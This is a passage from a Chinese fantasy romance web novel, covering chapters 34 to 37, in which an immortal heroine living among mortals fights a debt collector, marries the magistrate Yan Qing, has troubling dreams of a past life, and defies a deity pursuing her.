说罢,我一个箭步冲上去,揪住他的领口,狠狠扇了他几耳刮子。赵老三被我打得晕头转向,脸上顿时浮现出几道红印。我又提着他的后颈朝着他的屁股狠狠踹了几脚。一面行侠仗义,一面发泄我在家被爹爹打的怨气。倏忽间,我突然明白了爹爹为什么喜欢踹我。 真爽! “钱呢!” 赵老三捂着脸,支支吾吾道:“钱不在我这儿了。” 我厉声追问:“给谁了?!” “我们老大……他从不露面,我都是把钱根据指示放在一处地方……我也就是个收钱跑腿的,女侠别掏我的脑花……” “什么地方?” “每次都不一样……这次是在东街的那口井旁边。” 我抢走他包里原有的钱袋,松开他的领口,呵道:“滚。” 东街的只有一口井,藏在巷陌深处。我来得及时,钱还没被拿走。我掂量着钱袋正准备离开,赵老三又不识趣地当在我面前。 “还想被揍吗?” 忽然,赵老三吹了一声口哨,巷子口立刻涌进来几个彪形大汉,显然是赵老三叫来的帮手。虽然我会法术,这么多人也是简简单单轻轻松松。但这里毕竟是凡间,为了不违背天规,只好赤手空拳。就在我准备拼死一搏时,忽然听到一声清冷的喝斥:“住手!” 紧接着,一道身影从天而降,稳稳地落在我和赵老三之间。身着青衣的姑娘手中握着一柄长剑。赵老三被这突如其来的变故吓得连连后退。 “你……你是谁?” 我也想问,姑娘你谁啊? 那姑娘剑尖直指赵老三的咽喉,说道:“路见不平,拔刀相助。这么多人欺负一弱女子,还敢嚣张?” 弱?她刚刚是不是说我弱? 赵老三还想争辩,青衣姑娘却不再给他机会。她身形一闪,剑光如电,三两下便将赵老三打得跪地求饶。赵老三的帮手见状,吓得四散而逃,连头都不敢回。我站在一旁,看得瞠目结舌。 青衣姑娘收起长剑,转身看向我:“你没事吧?” 我摇了摇头,立马拱手致谢:“多谢姑娘出手相救,不知姑娘尊姓大名?” 她收剑入鞘,双手抱拳,“我叫姜妍,最看不惯有人在信州为虎作伥。路过此地,恰好看见有人行凶,便出手相助啦。” “多亏姜姑娘出手相救。想不到姑娘身手如此不凡,可是哪家武学门派出身?” 姜妍摆了摆手,“我爹是唱戏的,从小跟着他学了不少剑术。倒是姑娘,胆识过人,令人佩服。” 我正想谦虚几句,忽然感觉手臂传来一阵刺痛,低头一看,才发现不知何时被划了一道口子,鲜血正缓缓渗出。我还没来得及说话,姜妍已经注意到了我的伤口。 “你受伤了?” “只是小伤。” 我轻描淡写地揭过,但姜妍二话不说,拉起我的手腕。 “小伤也不能大意。走,我带你去最近的医馆处理一下。” 我还未来得及反应,便被她拉着快步走向巷口。谁说的“快活似神仙”,蓬莱仙岛可遇不到这般热心肠的人。 医馆并不远,姜妍显然是熟门熟路,径直带我走了进去。大夫为我处理伤口,敷上药膏,又仔细包扎好。整个过程,姜妍一直站在一旁,目光紧盯着大夫的动作。 这姑娘怎么比我还紧张。 “好了,伤口不深,按时换药,几日便能痊愈。” 大夫收拾好药箱,叮嘱了几句注意事项。姜妍这才松了一口气。 “以后可别再这么莽撞了,若是伤得再重些,可怎么办?” “好,我记住了。多谢姜姑娘关心。” “叫我姜妍就好,姑娘姑娘的,听着怪生分。” 我从善如流地改口,心中对她的好感又多了几分。 走出医馆时,天色已近黄昏,夕阳的余晖洒在街道上,给一切都镀上了一层金色的光晕。我们并肩走在街上,聊起了各自的经历。姜妍性格爽朗,谈吐风趣,几句话便让我觉得与她相识已久。 “你喜不喜欢听戏,下次我带你去听我们家戏班子唱的戏。就在勾栏瓦肆那儿,每天都有演出。” “你们家居然是唱戏的?!” “我爹爹可是信州出了名的耍剑高手,我的剑术是跟着他学的。戏班子上下,个个都是唱念做打样样精通!” “所以你也会唱?有空教教我呗。” “没问题!改日我教你一首小调。” “小调是什么?” 分别时,我有些不舍,再三确认下次的见面时间。 “今日若不是你,我恐怕要归西了。所以请一定一定给我个机会好好谢谢你。” 姜妍摆了摆手,笑意盈盈:“都说啦,举手之劳而已。你搞得这么客气,我都不好意思了。” “哪里的话!这叫礼尚往来。下次我带你认识我的未婚夫,三人一起不醉不归!” “嗯!一言为定。” 踏着月影,我提着药轻快地一蹦一跳回府。刚到大门口,便与正要出门的颜卿撞个正着。他一身青衫,许是刚从书房出来。 “颜 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药箱启开的声响唤回思绪。他半跪于前,指尖轻撩我袖口时,呼吸都放得极轻。纱布揭开,那道浅伤在他眼里倒像要命的创口。 “大夫已经处理过了,你何必再费心?” “总要亲眼看过。”他蘸着药膏的棉球悬在伤处上方,忽然抬眸,“疼就说。” 我看着他熟练的动作,忍不住问道:“你怎么会这些?” 颜卿的手微微一顿:“想着总会派的上用场,便和唐大夫学了些。” “这样啊……” 瞒得了凡人可瞒不了神仙。窥探颜卿的记忆,他好像是为了什么人特地学习的。终于,在记忆的一角,我捕捉到了一抹频繁出现的存在。是位姑娘,爱受伤的姑娘。我催动法力,实体看清那位姑娘的脸,但奈何我如何发功就是看不清,甚至越发模糊。 怎的,到凡间后法力削弱了? 赵老三的事我早抛到脑后。那恶棍挨的揍够他躺半个月了。倒是眼前颜卿的神情,比公堂审案时还要冷峻三分。 他缠纱布的手势极轻,嘴上说一定要将那伙人捉拿归案。 雪白绷带在他指间缠绕,我望着他紧绷的下颌线,忽然拿不准这话里究竟有几分是为信州治安,又有几分……是为我。 “颜卿。” 他看向我,手上的动作并未停下,只是放慢了些。 “我没事的,很快就会好的。” 颜卿愣了愣,无奈弯起眉眼朝我笑了笑,“明明痛的是你,你反倒来安慰我。” 我也朝他笑,两指推着他的嘴角上扬。 “那你别苦着脸啦,否则我心痛不已,做出什么傻事。” “你做的傻事还少吗。” 他捧起我的手臂,低下头,轻轻吹着那些快要痊愈的伤口和淤青。我一下噎住,心虚地别开视线,转移话题。 “也不知道今天救我的姑娘有没有受伤。不过她身手那么好,那么高的墙一蹦就上了,应该没受伤……” 一声轻笑,他小心翼翼地抚摸我的眼睛。我一下僵住,不敢轻举妄动。 “这里也受伤了。” 他指我眼皮上一处细微的伤口。 “这点小伤……你亲一下就能好。” 他的手指顿了顿,而后,他朝我凑近了,在我的眼睛上轻轻一吻。我的呼吸骤然一停,对上他羞涩躲闪的视线。 这人……知道害羞还敢亲我…… “还不够。”我抚上他的脸,“这点可治不好我的伤。” 旋即,他的手掌按在我的腰上,手臂收拢,嘴唇紧抿又松开,将我牢牢扣在怀里。滚烫的吻径自落下,所有的言语都模糊在了交缠的呼吸中。 夜色渐浓,静谧旖旎。晚风拂过树梢,头顶布满点点星光。颜卿的呼吸声落进我的耳朵,分外清晰。我无处悬停的手,在半空被人捕捉,攥紧在手心。下一秒,我感觉飞升上空,又坠入深谷。他忽地将我抱起来走在床榻边,又将我放下落入温暖。 颜卿的吻轻轻地点过我的脖颈,笨拙的令人有些发痒。 我看着他头顶束起的发,轻轻开口:“颜大人玉树临风、聪慧过人,可曾有人上门说亲?” 他埋在我的颈间,潮热的气息呼在我的敏感处。 “不曾。” “我不信。怕不是全信州未出阁的姑娘都争着抢着要嫁给你。” 他攥紧我的手稍稍松开,分开我的手指,与之相扣。 “那你以前,和别的男人做过这种事吗?” 我笑而不答,拨开他额前的发,映入他的眼眸。 “你呢?” “我……是第一次。” 青涩的吻,在一遍又一遍的练习中逐渐熟练。甚至……熟练掌握速度异于常人。 头顶青云密布,却有狂风将至。 一叶小舟在江上漂浮,最初不过小幅摇晃,紧接着是剧烈地颠簸,差一点就把舟上的游人颠出船体。 豆大的雨点拍打下来,船夫仍在努力摆渡,晃动之间,游人感知危险,牢牢抓紧侧壁。 “疼吗?有没有哪里不舒服?是不是伤口裂开了?” “不是伤口……” 此时,一道燃烧着火焰的响箭划破暗色,在最顶端处炸开,我感到船体一阵震荡,接着江面绽放开一朵无色无形的花。 船体又好像起火了,将船夫与游人困于江火之间,进退两难。 “还好吗?” “好……好得很……” 风雨渐息,青云偏移,没再落上游人的身体。 氤氲了雾气般的视野里,颜卿退了一步,跪坐在床榻的另一端喘息。 我则如释重负般松了口气,翻了身,将脸上的汗水擦在身下的布衾上。 三个回合打斗下来,我已经连说话的力气都没了。 他……真的是第一次吗? 他揽上我的腰抱着我坐起后,又一起朝后倒去,床帏抖落。我因坐在他腿上,整个人直接倒在他身上。 “颜大人……体力真好……我恐怕要不行了……” “嗯。”他似笑非笑地低声应道,“那我们就这么抱着,休息休息。” “多谢……颜大人……” 温柔的手掌抚摸我的发丝,从侧颈处拨至另一边,然后在露出脖颈的位置落下细密的吻。 “说好的休息休息呢?” “我不累。只亲亲你。等你休息好了,再继续。” “……” 此时,距离我第一次找死,还有一年半。 35. 荼蘼花事 这一夜格外漫长。 我凝视他熟睡的眉眼,喉间泛起一丝苦涩。 那些辗转数场戏台的逢场作戏,早让我学会在情爱里游刃有余。可此刻,我却像个初尝情事的少女,为一句关心心尖发颤。 想做他心头的月白,为他带去星辰与光芒。 可他太迟钝了,看得人好着急,想上手帮他。 我轻轻叹了口气,将脸埋进被子里,试图让自己冷静下来。或许,我应该放下那些顾虑,单纯地去感受他的好,去回应他的真心。又怕自己一旦放下防备,便会陷入无法自拔的境地。 他不过寿命几十年的凡人。 颜卿……砚清…… 名字相似的两个人,相貌也颇有几分相似。我曾试图窥探颜卿的记忆,想看看他的过去都经历了哪些事,想悄悄地了解他的一生。 无论重复几次,结果都和那日他与我包扎伤口时看到的一样。 他的记忆深海被蒙上了浓郁的雾气,无论如何都无法驱散。 无法看到过去,就让我不安了吗? 他可是颜卿啊,世上再也找不出第二个同他一样待我如此温柔的人。即使无法得知他的全部,应该安心才是。 他的呼吸平稳,睫毛却忽而轻颤,在我凝视的瞬间睁眼,在我的诧异中将我拥入怀中,再次进入梦境。我不禁轻笑着抚摸他的眼、鼻、嘴。 星辰亘古,人世须臾。 赠予白梅的人,我曾向他许要天上的星星。 因为星辰总是明亮的、温暖的,即使迷失在万千星辰中,那轮明月总能指引她回家。 “颜如卿月,诞星辰……或许伴你做一颗平凡的孤星,也不错。” 【梦溯流光】 荼蘼花开,良辰正逢,风携花香,月映佳期。 六月十五。 信州府的天空还未破晓,整座城便已被红绸染透。街市上的灯笼从城门口一路挂到信州府,朱漆门楣上悬着丈余长的红缎,金线绣的“囍”字在晨光中熠熠生辉。 檐角铜铃随风轻响,与街巷间此起彼伏的喜乐声交织,震得枝头喜鹊都扑棱棱飞起。 我坐在妆台前,任由喜娘将最后一支鎏金缠丝凤簪插入发髻,坠珠轻晃,映得眉间花钿流光溢彩。 铜镜里,霞帔上的金丝鸾鸟几乎要振翅飞出,裙摆层叠的缠枝牡丹纹在烛火下泛着粼粼波光。 桂花捧着妆匣的手微微发抖,眼里噙着泪。 “夫人今日……真像画里的九天玄女。比八年前还好看。” 我笑着用手绢替她拭泪。 “可不许再哭了。待会儿我要是哭起来,脸上的妆可要花了。” 桂花笑着胡乱抹脸,“嗯!大喜的日子,不能哭。” 外头忽地炸开一串爆竹声,惊得我指尖一颤。 “良辰吉时到——” 傧相的高喝穿透喧嚣,我攥紧袖口,深呼吸。 房门被人推开的瞬间,忽然一股花香伴风而来。 一身喜红色的颜卿缓步踏入新房,墨色的长发束在头顶。 此刻他不像刚正不阿的颜知县,而是我踏遍山河寻来的意中人。 绣着龙凤呈祥的锦帘轻轻掀起,他温润如玉的声音在静谧的房中响起:“夫人。” 我端坐床沿,低下娇羞的容颜,又对上他深情地眸子。 “砚……颜卿。” 他扬起唇角,“嗯,我来接你了。” 八载春秋化作指间一缕红线,终于在此刻系成同心结。 喜娘各持彩缎一端,轻轻递到新人手中。彩缎如流云般轻盈,两端绣着并蒂莲花,象征着永结同心。颜卿修长的手指握住彩缎一端,我则轻轻拈起另一端。 “请新人移步!” 颜卿倒退而行,却像走向宿命的原点。他的目光始终凝视着我,似要把我此刻的样子深深烙印,永世不忘。我亦步亦趋,红裙曳地,绣鞋轻移。 两人相对而行,彩缎在中间轻轻摇曳。 颜卿的步子很稳,哪怕是倒退而行,也如履平地。 我生怕他一不小心摔了,很快发现自己的担心是多余的。 没忍住抿嘴偷笑,但怕坏了礼仪,没问出那句到嘴边的话:“颜大人想必私下偷摸练习过呢。” 婚礼的礼仪是按照信州当地的习俗来的。 之前问起过颜卿祖籍是哪里,毕竟是人生大事儿,理应按照祖籍上的习俗来。 颜卿却说,在信州生活了八年,他骨子里早已默认自己是信州人。 况且这是整个信州府等了八年的婚礼,说什么也要按照这里的习俗来。 我从没见过如此热闹的信州府,几乎整座城的人都来了。县衙方圆几里内人声鼎沸,热闹非凡,喜庆的声音一刻也没间断。 姜妍也来了,还有他们家的戏班子。 还有许多陌生的面孔,等他们都认识我,贺喜的祝词中都舔上了我的名字——楚风。 我小心翼翼地一步一稳,霎那,溪水里安静游弋的鱼儿跃出水面,似是仙鹤的鸣叫划过长空,声响让我移开了目光,水花溅落的刹那,余光瞥见人群中有张熟悉又陌生的脸。 是不认识的人。 看样子是个十九岁的英气青年,他的面庞轮廓分明,眉宇间透着一股锐气。 双眉浓密修长,眼眸清亮。鼻梁高挺,唇角轻扬。几缕发丝随风轻拂,掠过额角。有蓬勃的朝气,又有青涩与坚定。 一声巨响在黑暗中炸开,我下意识地颤抖了一下。 周围的人却毫无波澜,只有我能听见这个声音吗?不对,对上视线的人也听见了。 他转而看向日出的方向,剑眉星目的青年眸中映着落日余晖般的哀伤。顺着他的视线望去,我好像看到了一片花海,明明是清晨我却看到了落日。 白日梦吗…… 可当爆竹声炸响,再抬眼时,只见颜卿逆光而立,红绸金绣晃得人眼眶发热。 是了,这才是我的现实。 我垂下眸子,脚步停顿,不敢再往前。 与颜卿之间的彩锻被拉扯伸直,他望向我,望见了莫名哭花妆容的我。 “楚风?” “抱歉……我好像,突然想哭……” 我抬手抹掉眼泪,没注意到周围嘈杂起的人声一瞬间戛然而止。 颜卿走回我跟前,温柔的指腹揉捏我的脸颊。 “你若不愿继续,我们便终止礼仪。” “不是的!” 我猛地抬头,四目相对的瞬间,脸上的神情凝固。 “砚、砚清?” 仙人的墨发被竖起,雪白飘逸的长袍换成亮眼的大红色。 就像了了我的心结似的,一见他,我便忘了一切,只想扑进他怀里不争气地哭。 柳砚清安抚着我的后背,“跟我说说,这次又为何而哭?” “因为……因为……不是你……” 他轻笑一声,“若是与我成婚,你便是心甘情愿?” “嗯。” 我回答得不假思索,仙人却感到意外,怔愣了片刻。 “当真?不想……从这里逃离吗?” “若是和你,我一百个愿意,一万个愿意。可若不是你……”我攥紧他的衣襟,“我现在就想逃到有你的地方,再不分开。” 头顶一声轻笑落下,我正想起身看他,他却忽地抱紧我,与我相拥良久。 “我们继续吧,夫人。” 至庙堂前,我与他并肩而立。香烟缭绕中,砚清执笏板,我则敛衽,一同向先祖行礼。 礼毕,轮到我倒退着向新房行去,砚清紧随其后,一副生怕我摔了的样子。 红绸彩缎在两人之间轻轻晃动,好似诉说着绵绵情意。 入得新房,喜娘扶着我在床沿坐下。两个双颊胀红的人四目相对,我又是一个没忍住颔首偷笑。 各自取下一缕头发,将缎带、钗子、木梳、发丝系在一起后,喜娘端来两杯连在一起的酒。红烛摇曳,映得新房内一片暖融。一对鎏金酒杯静静而立,杯中琼浆微漾,泛着琥珀色的光泽。 砚清执起一杯,指尖轻轻摩挲着杯沿,目光温柔地落在我身上。 “夫人。”他低声唤道,声音里是化不开的柔情,“我们成亲了。我们……终于成亲了。” 我的脸颊顿和耳廓时染上一抹绯红。 “让夫君久等了。” 手臂交错,彼此间的距离逐渐拉近。砚清始终凝视着我的眼睛,缓缓将酒杯送至唇边。 酒液入喉,却不及他眼中的温柔醉人。 饮尽杯中酒,抛杯入床底,喜娘退后,房里只剩下我和他两个人。 冰冷的手与我十指相扣,安静端坐。 虽然酒气熏人,但仙人的那双手绝不可能因为一杯酒就热起来。 我诧异地转过头看向他,他也恰合时宜看向我。 “我们终于成亲了,楚风。” “你……” 你不是砚清,你是颜卿。 礼成,我当真嫁给了……颜卿。 沉寂了好久,身体的温度只增不减。 忽然,颜卿低笑一声,覆上我放在身前的手。他的神情温柔而真挚浓密的睫毛,在眼下投下两道阴影,随着每一次呼吸而轻轻颤动。 “从今往后,此生此世,我们永不分离。” 我正要答应,他又启齿。 “不,是生生世世。” 我弯起眉眼,偷偷捏了捏他的手心。 “……好。” 生生世世,永不分离…… 我不明 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我端坐在铜镜前,看着镜子里为我取下凤冠的颜卿。 六月十五,并不是个好日子。 半年节,民间俗话说这天并不适合举办婚礼,被视为“半桩婚姻”,寓意不好。 颜卿却偏说,这是个好日子。 不用猜,按照颜卿凡事都依着我的性子,六月十五这日子一定是我八年前定的。以我风流的性子,这日子选得极好。既能满足我与他成亲的私欲,又能借着民间说法逃离他身边。 我不禁开始怀疑八年前婚礼上的掳走大戏,也是我事先预定好的演出。 红烛摇曳,我平躺在柔软的床铺上,盯着顶上红色金丝的床幔发愣。繁重的思绪让我根本无法入睡。洞房花烛夜,空气里却安静得烛火燃烧的声音清晰可闻,我能听到颜卿均匀的呼吸声。 睡得太香了吧…… 我转头看向身旁熟睡的人,没料,正好撞进他直直盯着我的眼眸。 “不是困了?”我笑着转向他。 “怎么睡得着……” 我愣愣看着他,颜卿温柔的目光也正在看我,他往前探了探身子,吻了我。 绵长的吻夺走我所有思绪,只让我看着他,关注他,沉溺于他。 偏瘦的身体压下来,夺走我视野里的光。柔软的发丝扫过我的脸庞、脖颈、身前……扫过一切与他坦诚相见的面。 第一次是你,以后的每一次都是你。 可你,却不是我的第一次。 八年前的千灯节,夜色如墨,星河低垂。 我第一次在人界见到了每年仲夏,都会漂浮在东海海面的天灯。蓬莱仙岛的人年年看,早看腻了。但我没有。每年这个季节我都会坐在东海边的焦岩上,望着它们从东海升起,像浮动的萤火,载着凡人琐碎却鲜活的心愿。 窥探凡人无关紧要的心愿,是三千年间最有趣的事。 爹爹过分保护不许我出门,三哥便陪我整日关在蓬莱。大哥心疼我,偷偷从人间三天两头带些书来给我看。二姐教我制造幻境,利用梦境让我看看人间的模样。 其实,我并非第一次来人间。 初次下凡时,我偷偷溜到一处山村,躲在学堂最后一排听孩童念《诗经》——那是大哥带回的书里,我最喜欢的一本。后来被爹爹抓回蓬莱第几宫,途中见凡人结亲生子,恩爱白头。那时我便想:凡人的爱,是否只有成亲才算圆满?可他们寿命那样短,神仙的千年,他们早已轮回千百遍。 直到仲春之月,蔓草初生新燕啄泥时,我遇见了他。 “他”与“他”相似却又不同。 颜卿像一场恰到好处的梦,融合了我所有期盼的模样。就像创造他的人,对我真根知底,照着我最喜欢的样子,创造了颜卿—— 温柔却坚韧,纵容却坚定。他待我如珍如宝,让我第一次生出贪念: 不止这一世,我要生生世世都与他在一起。 那夜,我终于站在了人间,站在了万千灯火之间。 “颜卿,你可猜到我写的心愿是什么?我写下的是——从今往后,生生世世,我与你,永不分离。” 无论你轮回多少次,我定会找到你,不满足于这一世,我要与你生生世世都在一起。 可后来我才明白,原来神仙也会害怕——怕誓言太重,怕轮回太长,怕自己……终究辜负了谁。 风流的仙平生第一次那么害怕。以至于,在临近关头,落荒而逃。 八年前的婚事,是我自己逃走了。 三千岁的仙怕负了二十来岁人间男子的真情,选择了背弃。 36. 豆蔻香残 【入卿梦也】 面前是漆黑的墙壁,耳边听见是嘈杂的喧闹,鞭炮锣鼓、道喜祝福声。 回头,四周张灯结彩,红绸高挂,喜气洋洋。鼓乐唢呐声、欢笑贺喜声交织在一起,热闹非凡。 我低头看了看自己,发现自己穿着一身素白的衣裳,与周围的喜庆格格不入。 偌大的宅院,贺喜的人来来往往,但奇怪的是,周围的人似乎都看不到我。 看不见熟悉的面孔,华服贵气的人不少,举手投足间皆是权贵氏族礼仪。 新郎新娘拜堂时,我站在人群中,看着他们一拜天地,二拜高堂,夫妻对拜。 新娘的盖头遮住了她的面容,只能从她微微颤抖的手指看出她的紧张。 新郎身姿挺拔,虽看不清脸,但举手投足间透着一股英气。 喜事一件,我却心生焦躁。 礼成,新娘被送入洞房,而我则被热闹的宴席吸引,自然而然地坐了下来。 桌上摆满了美酒佳肴,周围的人推杯换盏,笑声不断。 我端起一杯酒,轻轻抿了一口,酒香浓郁,入口回甘。 正当我沉浸在宴席的热闹中时,一个女人突然坐在了我身边。 一身深紫色的长裙,气质冷艳。她的眼神凌厉,却在垂眸对上我的视线时,眉眼弯弯尽是温柔。 “你倒是悠闲,坐在这里喝酒。” 我愣了一下,环顾四周,有些疑惑地看着她。 “你看得到我?” 她轻笑一声,唇角勾起一抹意味深长的弧度,说:“当然看得到。不过,其他人可看不到你。” 宴席座无虚席,独独我这一桌无人光顾。 她抿了一口酒,语气淡然。 “这是你的梦,或者说,是你的一段记忆。此刻,你只是旁观者,无法干涉这里的一切。已经发生过的事情,是不可逆转的。” “我的记忆?”我皱了皱眉,“以往都是身临其境,为何这次是以旁观者的身份?” 她没有回答,只是轻轻放下酒杯,抬手揉了揉我的头发。她的动作自然而亲昵,仿佛这样的举动曾做过无数次。我愣了一下,心中莫名涌起一股熟悉感,却怎么也想不起她是谁。 “你……认识我吧?”我试探着问道,“难道这场梦……” 她微微一顿,目光中闪过一丝复杂的情绪,随即恢复了那副高冷的模样。 “认识又如何?你现在记不得,我说了也是徒劳。” 她的语气依旧冷淡,我却从她的眼神中读出了一丝惆怅与无奈。 “好好欣赏吧。这次,我暂且替你保守秘密。享受姐姐顶着被责罚的风险,为你营造的这场梦吧。” 说完,她的身影便如同烟雾般消散在我眼前。 宴席依旧热闹,可我却没了喝酒的兴致。我站起身,穿过人群,朝着洞房的方向走去。 因为是梦境,我的身体可以直接穿过紧闭的门扉,走进室内。 一阵细细的骤雨落下了。 洞房里,烛火摇曳,映照出满室的红色。新娘端坐在床边,双手紧紧攥着衣角。 时间一点点流逝,红烛燃半,新郎迟迟未归。 屋外的宴席已经散去,静地只有收拾热闹后窸窸窣窣的声响。 雨点变大,雷鸣划破。 终于,新娘按捺不住,自己揭下了盖头。 就在那一瞬间,我的心猛地一颤—— 那新娘的脸,竟然是我自己! 消失的紫衣仙女再度出现,冷面美人轻笑着问道:“你可知自己为何在此?” “我的婚事?可我的婚事不是今日?而且整座宅子怎么看都不是信州府啊。” 不对,这是过去发生的事,是我的记忆……也就是说,颜卿不是与我第一个成亲的人?! 我站在原地盯着“自己”的脸,脑子乱乱的,无法深想这背后的故事。 紫衣仙女环顾着内室洋溢的喜红色,似是感叹说道:“从一场婚礼逃跑,却转身进了另一个人的怀抱,小妹你还真是……捉摸不透啊。” “逃跑?” 关于从婚礼离开,我可只从颜卿口中听过八年前我被人掳走…… 我瞪大眼睛,背脊攀升一股凉意。 “不是有人掳走……是我自己逃跑了……六月十五半年节……我从一开始就没打算嫁给颜卿……对吗?” 正如现实中此刻的我,依旧不明白该不该嫁给他。 紫色仙女不语,视线看向端坐床沿的“我”。 “我只能通过梦境看到过去的你,至于那时的你在想什么,我并不知晓。但我猜,绝不仅仅如此。两次死亡的因果,只有你自己明白。” 我还想追问,出乎意料的事发生了。 “新娘的我”神色紧张,目光中透着不安。她似乎察觉到了什么不对劲,猛地站起身,抓着盖头夺门而出。我下意识地跟了上去,脚步匆匆,心跳如鼓。 她穿过长廊,跑过庭院,最终停在了院子外面。我也跟着停下,眼前的景象让我瞬间屏住了呼吸—— 红衣少年手持长刀,正与数十名黑衣人厮杀。 他的身影在雨中显得格外单薄,却依旧奋力挥刀,试图杀出一条血路。 雨水混着鲜血,染红了他的衣裳,也染红了脚下的地面。 “我”站在不远处,脸色苍白,嘴唇颤抖,似乎想要呼喊,却发不出声音。 我站在那个“我”的身后,心中涌起一股难以言喻的悲痛,仿佛这一幕曾在我生命中真实发生过。 终于,红衣少年体力不支,踉跄着跪倒在地。 长刀插在地上,支撑着他摇摇欲坠的身体。 “我”终于喊出了声。 “祈源——!” 红衣少年听到声音,艰难地抬起头看过来。脸上沾满了鲜血,却依旧挤出一抹笑容,嘴唇动了动,似乎在说:“等我……” 下一刻,少年的身体重重倒在地上,溅起一片水花。 “我”冲了过去,跪在他身边,颤抖着伸出手,却不敢触碰他。眼泪混着雨水滑落,声音哽咽。 “祈源……贺祈源……” 我站在一旁,心中仿佛被撕裂一般,疼痛难忍。 他刚才的视线,分明是和我对上了……我没有看错……他看的人,是我…… 我想上前,却发现自己动弹不得,只能眼睁睁看着这一切发生。 “他能看见我?不应该啊,他怎么能看见我呢?” 我喃喃自语着,揉了揉胀痛的太阳穴。 雨越下越大,模糊了我的视线。 当我再次看清时,红衣少年的身影已经消失,只剩下“我”跪在雨中,手中紧紧攥着那块染血的盖头。 贺祈源……好熟悉的名字……这场梦,我是不是曾经梦到过…… “你忘记了。” 我听见自己的声音,是跪在雨中的“我”。 她在跟我说话? “我自己……你在说话吗?” “我”回过头,泪人充满怨恨的双眼死死瞪着我。 “都是你害死了他!是你!你为什么不肯放过他!” 怎么会是我呢?我不认识梦境的任何人,甚至那些黑衣人…… 我愕然抬眸,看向自己。 “黑衣人……是我?”我拼命摇头,“不对不对,那分明是个男人啊……” “都是你害死了他!是你!你还想害死多少人才肯善罢甘休!” 不是我,不可能是我,我什么也不知道。 不知怎么脑海中闪过无数似曾相识的画面。 电光火石间,惊雷劈过,眼前的画面被刺眼的白光吞噬。 【烟波醒渡】 我猛地惊醒,坐起身来,大口喘着气。额头上满是冷汗,心脏剧烈跳动,仿佛刚刚亲身经历了一场生死离别。 窗外,骤雨落下,身旁的人呼吸平静。 我低头看了看自己的手 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我合上双眼,头埋进膝盖间,不让雨水打湿脸庞。 忽然,雨停了。 我慢慢抬起头,抬头便见一柄竹骨伞转过山石,伞面微抬,露出执伞人轮廓分明的下颌。 “你怎么也来了?” 我笑着问颜卿,他无奈浮起笑意伸出手拉我起身。 “醒过来的时候,发现你不见了。找了你一圈,想不到,在这儿蹲着。” 颜卿小心翼翼扶着我走在湿滑的路面,他是匆忙出来的,仍穿着寝衣。 “怎么不披件外套再出来?” “出来匆忙,忘记了。不过难得半夜听雨,不觉得冷。” 围绕着池塘散步,洞房花烛夜,不错的经历。 “父亲大人是做什么的?”我问。 颜卿说:“也是在县衙待了一辈子的人。娘亲生下我那年,爹爹立志说要考取功名,为了我能进更好的学府。他很喜欢颜真卿,所以给我起了颜卿。三年后父亲高中,我和娘亲也从虔州搬到施州。爹爹为官二十年,几乎跑遍了东西南北,我和娘亲也一路跟着父亲。” “那很辛苦吧。” “倒也没有,反倒觉得,年纪轻轻就去过了无数地方,也算是增加了阅历。” “所以你一直留在信州,哪儿也没去?” “是,陛下也觉得信州府交于我是正确的。这些年,信州百姓安居乐业,倒也算不负圣恩。” 颜卿撑着伞走在池塘的一侧。 “父亲常说,为官一任,当如颜鲁公般刚正不阿。可惜……” “可惜什么?” “任职信州知县的第一年,腊月收到家书,说父亲在徐州旧疾复发,没能赶去见爹爹最后一面。娘亲受不了爹爹离世,也跟着去了。” 那双波澜不惊的眸中染上淡淡的笑意,他再开口的声音有些沙哑,语气却格外温柔。 “八年前你被抓走后不久,有人传消息来说你不在了……好在我坚信你不会有事,信一定会与你再次重逢……” 我抬眼对上他的视线,眼眶有些发烫。 “颜卿,我冒出一个胆大的想法。” 话音刚落,我一把抢过颜卿手里的伞丢到一旁,等他反应过来时,干燥的身体已经暴露在雨里,转瞬即湿。 我和颜卿看着互为落汤鸡的彼此,不约而同地笑了起来。 我扣住他的五指,说道:“我会陪着你的。无论以后我去哪里,我的归途都是走向你。” 雨幕中,我们相拥彼此。 靠近的呼吸和他热烫的胸膛让寂静的空间里,响起雨声以外轻微却不断的心跳声。 分不清是我的,还是他的。 “我也会一直等你。忘了也罢,无论以后你去哪里,我的归途都是等你回来。” 37. 花困蓬瀛 竟然猜疑颜卿和柳砚清是同一人,我真是闲得无聊,脑壳打铁了。 一个是凡间男子,有父有母,历经童年长大成才;一个是天生的仙人,若书中载入真实,大概率是医仙葛榆和疏花元君的孩子。 一人一仙,不过长得相似罢了。 我真是……生性多疑啊。 早膳刚过,信州府门外来了个人,桂花急匆匆地跑来告诉我,说是找我的。 我心中疑惑,跟着桂花走到府门口。 青石板的街道旁丹桂飘香,不属于这个季节的植物开得繁盛。我不由有些恍神,以为自己又不小心入了梦。 站在树下的人听见声响,循声望来。金色眼瞳仿佛能一眼看穿世间万物。 我转头对跟来的桂花说:“桂花,你先回去吧。” 桂花的视线在我与来人之间左右斟酌,还是欠了欠身,不放心地说了句“好”后离开。 我走下台阶,站在距离四个人较远的地方。 “方大仙。还有紫色纱裙的仙女姐姐。你是……利州那位看病的病人?” 四个人并排站在面前,半数是熟悉的面孔,独独一人初次见面。 方大仙向我靠近了两步,神色淡然说道:“你知道吾为何而来。” 不是疑问,是陈述,是警告。 我望着眼前高高在上的神,颤抖的手心沁出细密的汗珠。但这一次,决不能再俯首听命。 咽下懦弱与胆怯,我后退两步稳住身形,昂首凝视着他:“我明白……但这次,我绝不妥协。” 哪怕你是大仙,是我爹,也决不退让! 方大仙眉峰骤然压低,金色眸中似有雷霆翻涌,周身威压如山倾覆。 他薄唇微启,每个字都裹挟着令人窒息的威势:“忤逆神?” 我深呼吸,不甘示弱:“遵从神指之前,我先遵从自己的决择。” 方大仙步步紧逼,每一步都似踏在我的神魂之上,震颤、恐惧。 “一介凡人,你能做什么?少了羽带和玉笛,你什么都不是。” 那蕴着“毁灭”之力的手指距我眉心仅剩三寸,我猛地后仰,迅速跳开。 足尖点地的瞬间,我毫不犹豫地转身狂奔。 顾不上别的,先跑要紧! “抓住她。” 方大仙的声音冷得像淬了冰,金色的眸子微微眯起,在晨光下泛着锋利的寒芒。 无人动作,街边早起的摊贩噤若寒蝉,连蒸笼里腾起的热气都凝滞了一瞬。 方大仙侧眸不悦睨向身旁目光黯淡的女子:“愣着做什么?” “我答应过南风……不会再伤害她……” “不是让你又扇她一耳光。快去。” 东婝肩头一颤,终究缓缓抬手。腕间缠绕的羽带如活物般游出,追向那道仓皇逃窜的身影。 我站在岔路口剧烈喘息,一边是出城的路,一边是河岸边的繁华街市。 左思右想过后,我没有犹豫,决定赌一把。 